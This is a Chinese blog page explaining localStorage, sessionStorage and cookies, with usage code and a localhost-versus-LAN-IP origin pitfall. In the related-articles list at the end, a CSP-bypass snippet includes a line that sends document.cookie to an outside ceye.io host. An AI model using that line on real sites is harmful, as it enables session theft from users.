项目中 关于localstorage、cookie的坑?明明设置了本地存储为什么没生效

摘要:
项目上可能遇到的坑:我明明设置了localstorage为什么在新打开的页面中没有获取到?我们常常在本地写代码的时候可能会使用的地址是http://localhost:9527,但是我们在项目中新打开一个项目的页面的时候他打开的可能是network地址http://192.168.2.115:9527/所以就会出现读取不到localstorage的情况,这时,我们用network地址打开项目就可以获取到本地存储的值了。
1.简单的介绍一下localStorage,sessionStorage,cookie
localStorage:仅在客户端存储不参与服务器通信,存储大小一般为5M,如果不是人为清除,那么即使是关闭浏览器也会一直存在。
sessionStorage:仅在客户端存储不参与服务器通信,存储大小一般为5M,会话级存储,也就是说如果关闭当前页面或者浏览器那么就会清除
cookie:客户端存储,参与服务器通信,存储大小为4k,可设置生命周期,在设置的生命周期内有效
2.写法
localStorage.setItem("temp",arr) //存储
localStorage.getItem("temp") //读取
localStorage.removeItem("arr"); //删除
localStorage.clear(); //清空
注意:存入的数据只能以字符串形式存入
提供转JOSN数据方法:
obj = JSON.stringify(obj); //JSON对象转JSON字符串
obj=JSON.parse(localStorage.getItem("temp2")); //JSON字符串转JSON对象
-----------------------------------------------------------------------------
sessionStorage.setItem("temp", arr);   // 存储
sessionStorage.getItem("temp");   //读取
跟localStorage写法一样
-----------------------------------------------------------------------------
cookie在vue项目中
cnpm install js-cookie --save //安装
import Cookies from 'js-cookie'  //引入
Cookies.set('title', this.form.title) //存储
this.title = Cookies.get('title') //读取
原生的cookie自己封装一个即可使用
3.需要注意的点
1.不同浏览器无法共享localStorage,
2.相同浏览器的不同页面间可以共享相同的 localStorage但是前提必须是在同一域名和端口下。如果一个标签页包含多个iframe标签且他们属于同源页面,那么他们之间是可以共享sessionStorage的。
3.在谷歌无痕模式下,localStorage、cookie是读取不到的,但是你可以新增数据然后读取,但是关闭页面后再打开还是会清空。
项目上可能遇到的坑:
我明明设置了localstorage为什么在新打开的页面中没有获取到?
我们常常在本地写代码的时候可能会使用的地址是http://localhost:9527,但是我们在项目中新打开一个项目的页面的时候他打开的可能是network地址http://192.168.2.115:9527/所以就会出现读取不到localstorage的情况,这时,我们用network地址打开项目就可以获取到本地存储的值了。network地址和本地地址,域名是不一样的,所以获取不到存储的值。
以上均是个人经验总结,欢迎大家批评指正!

免责声明:文章转载自《项目中 关于localstorage、cookie的坑?明明设置了本地存储为什么没生效》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇kettle插入/更新Perfmon——为什么“% Disk Time”计数器的值会大于100%?下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

通过iframe标签绕过csp

iframe.php代码如下: allow-popups开启时,window.open就可以打开新的窗口。 看csp规则,默认是在当前域内,如果这是一个ctf题的话,就很简单了,window.location.href='http://aa.xxxx.ceye.io?'+document.cookie;能把cookie传出来。 但是要是远程加载js文件是不...

【js】了解前端缓存,收获不止于此!

了解前端缓存,收获不止于此! 这次我们来讲一下关于前端缓存的问题。感谢赵欢同学提供doc素材。 首先,开局我画了一张图,你会对文章有一个大局了解。 今天讲的是前端缓存。 前端缓存有3大种:如图,分为HTTP缓存、浏览器缓存、应用程序缓存。 HTTP缓存我们先来看HTTP缓存:(做下了解) 分为强缓存与协商缓存。 首先看强缓存: 强缓存之Expires...

4 使用Selenium模拟登录csdn,取出cookie信息,再用requests.session访问个人中心(保持登录状态)

代码: # -*- coding: utf-8 -*- """ Created on Fri Jul 13 16:13:52 2018 @author: a """ from selenium import webdriver from selenium.webdriver.common.by import By from selenium.webdr...

Js添加、读取、删除cookie,判断cookie是否有效,指定domain域下主路径path下设置cookie,设置expires过期时间...

https://www.cnblogs.com/codeon/p/7403418.html 有时我们需要用cookie保存用户名,记录登录状态,如何正确判断该机用户cookie是否存在呢?不能简单使用a!=”这样的写法。 正确方法是:判断是否存在名为username3的cookie,使用document.cookie.indexOf(“username3...

HttpClient 教程 (A)

前言 超文本传输协议(HTTP)也许是当今互联网上使用的最重要的协议了。Web服务,有网络功能的设备和网络计算的发展,都持续扩展了HTTP协议的角色,超越了用户使用的Web浏览器范畴,同时,也增加了需要HTTP协议支持的应用程序的数量。 尽管java.net包提供了基本通过HTTP访问资源的功能,但它没有提供全面的灵活性和其它很多应用程序需要的功能。Ht...

nodejs-5.6 cookie-parser

cookie-parser 官网:https://github.com/expressjs/cookie-parser 一、概念: cookie ==> 小甜饼 , parser ==> 解析器,  cookie-parser 就是用来解析 cookie 的.  二、cookie存储位置:cookie是存储在客户端浏览器中.每个浏览器的 coo...